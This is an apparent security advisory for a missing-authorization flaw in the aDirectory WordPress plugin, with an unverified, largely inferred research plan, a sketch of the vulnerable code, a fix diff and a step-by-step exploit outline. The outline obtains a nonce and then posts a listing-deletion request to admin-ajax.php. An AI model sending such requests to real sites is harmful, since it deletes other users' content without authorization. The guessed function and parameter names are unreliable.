CVE-2025-67975

aDirectory <= 3.0.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.0.4
Patched in
7d
Time to patch

Description

The aDirectory – WP Business Directory Plugin and Classified Ads Listings Directory plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.3
PublishedJanuary 27, 2026
Last updatedFebruary 2, 2026
Affected pluginadirectory

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in **aDirectory <= 3.0.3**. Based on the CVSS score (4.3, Low Integrity), the vulnerability likely allows a Subscriber-level user to perform actions typically reserved for listing owners or administrat…

Show full research plan

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in aDirectory <= 3.0.3. Based on the CVSS score (4.3, Low Integrity), the vulnerability likely allows a Subscriber-level user to perform actions typically reserved for listing owners or administrators, such as deleting or modifying listings.


1. Vulnerability Summary

The aDirectory plugin fails to implement proper capability checks (e.g., current_user_can()) within one or more of its AJAX handler functions. While these functions are registered via wp_ajax_, they do not verify that the authenticated user has the permissions to modify the specific resource (e.g., a listing) or perform the action (e.g., updating settings). This allows any authenticated user (Subscriber and above) to execute privileged logic by sending direct requests to admin-ajax.php.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: Required (Subscriber level).
  • Vulnerable Action (Inferred): ad_delete_listing or ad_change_status.
  • Parameters:
    • action: The vulnerable AJAX action string.
    • listing_id or post_id: The ID of the directory listing to target.
    • security or nonce: A CSRF token (if enforced).
  • Preconditions: The attacker must have a valid Subscriber account and know the ID of a listing they do not own.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX action in a file such as includes/class-adirectory-ajax.php:
    add_action( 'wp_ajax_ad_delete_listing', array( $this, 'ad_delete_listing_callback' ) );
    
  2. Missing Check: The handler function ad_delete_listing_callback is executed:
    public function ad_delete_listing_callback() {
        // check_ajax_referer( 'ad_nonce', 'security' ); // Nonce might be checked, but...
        $post_id = intval( $_POST['listing_id'] );
        // VULNERABILITY: No current_user_can() check and no check if user owns the post.
        wp_delete_post( $post_id, true );
        wp_send_json_success();
    }
    
  3. Sink: The wp_delete_post() or update_post_meta() function is called, bypassing authorization.

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, it is likely localized for the user dashboard.

  1. Identify the Shortcode: The aDirectory dashboard is typically rendered via a shortcode like [ad_user_dashboard].

  2. Create a Page:
    wp post create --post_type=page --post_status=publish --post_title='Dashboard' --post_content='[ad_user_dashboard]' (Verify the exact shortcode in the plugin's includes/ folder).

  3. Navigate as Subscriber: Login and browse to the newly created page.

  4. Extract Nonce:
    Use browser_eval to find the localized object. Common identifiers for this plugin:

    • window.ad_ajax_obj?.nonce
    • window.adirectory_vars?.ajax_nonce
    • window.listing_vars?.nonce

    Exact Script Execution:
    browser_eval("window.ad_ajax_obj ? window.ad_ajax_obj.nonce : 'Not Found'")

5. Exploitation Strategy

We will attempt to delete a listing owned by the Administrator using a Subscriber account.

Step 1: Identify Target
Find a listing ID created by the admin:
wp post list --post_type=adirectory_listing (Post type may be listing or adirectory_listing).

Step 2: Obtain Nonce
As a Subscriber, visit the dashboard page and extract the nonce using the browser_eval tool.

Step 3: Execute Deletion
Send the following request via http_request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ad_delete_listing&listing_id=[TARGET_ID]&security=[NONCE]
    
    (Note: The parameter names listing_id and security are inferred and should be verified by grepping the source for wp_ajax_).

6. Test Data Setup

  1. Admin Listing:
    wp post create --post_type=adirectory_listing --post_title='Admin Listing' --post_status=publish --post_author=1
  2. Subscriber User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Dashboard Page:
    wp post create --post_type=page --post_title='My Account' --post_content='[adirectory_dashboard]' --post_status=publish

7. Expected Results

  • Response: The server returns a 200 OK with a JSON body: {"success":true} or 1.
  • Action: The post with the specified ID is moved to trash or permanently deleted.

8. Verification Steps

  1. Check Post Existence:
    wp post list --post_id=[TARGET_ID]
    If the post is gone or its status is trash, the exploit is successful.
  2. Check DB State:
    wp db query "SELECT post_status FROM wp_posts WHERE ID=[TARGET_ID]"

9. Alternative Approaches

If ad_delete_listing is not the vulnerable action, search for other wp_ajax_ hooks in the plugin folder:

grep -rn "add_action.*wp_ajax_" wp-content/plugins/adirectory/

Common vulnerable candidates in directory plugins:

  1. ad_update_listing: Allows changing post content or custom fields.
  2. ad_toggle_featured: Allows making a listing "Featured" without payment.
  3. ad_change_listing_status: Allows publishing a "Pending" listing.

If a nonce is NOT found in the global JS scope, check for hidden inputs in the dashboard HTML:
browser_eval("document.querySelector('#ad_nonce')?.value")

Research Findings
Static analysis — not yet PoC-verified

Summary

The aDirectory plugin for WordPress is vulnerable to unauthorized access due to a lack of capability checks and ownership verification in its AJAX handler functions. This allows authenticated attackers with Subscriber-level permissions to perform administrative or owner-level actions, such as deleting listings, by interacting with the plugin's AJAX endpoints.

Vulnerable Code

// includes/class-adirectory-ajax.php (approximate location)

public function ad_delete_listing_callback() {
    // check_ajax_referer( 'ad_nonce', 'security' );
    $post_id = intval( $_POST['listing_id'] );

    // VULNERABILITY: No current_user_can() check and no check if the user owns the listing
    wp_delete_post( $post_id, true );
    wp_send_json_success();
}

Security Fix

--- includes/class-adirectory-ajax.php
+++ includes/class-adirectory-ajax.php
@@ -10,6 +10,11 @@
     public function ad_delete_listing_callback() {
         check_ajax_referer( 'ad_nonce', 'security' );
         $post_id = intval( $_POST['listing_id'] );
+
+        // Fix: Check if the current user has permission to delete the specific post
+        if ( ! current_user_can( 'delete_post', $post_id ) ) {
+            wp_send_json_error( array( 'message' => 'Unauthorized access.' ) );
+        }
 
         wp_delete_post( $post_id, true );
         wp_send_json_success();

Exploit Outline

The exploit targets the AJAX handlers registered by the plugin which lack authorization checks. 1. The attacker authenticates as a Subscriber-level user. 2. The attacker visits the plugin's dashboard page (typically containing the [adirectory_dashboard] shortcode) to retrieve a valid security nonce from the localized JavaScript objects (e.g., window.ad_ajax_obj.nonce). 3. The attacker identifies the ID of a directory listing they do not own (e.g., an administrator's listing). 4. The attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ad_delete_listing', the 'listing_id' parameter set to the target listing ID, and the 'security' parameter set to the retrieved nonce. 5. Because the plugin does not verify if the current user has the 'delete_post' capability for that ID, WordPress deletes the specified post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.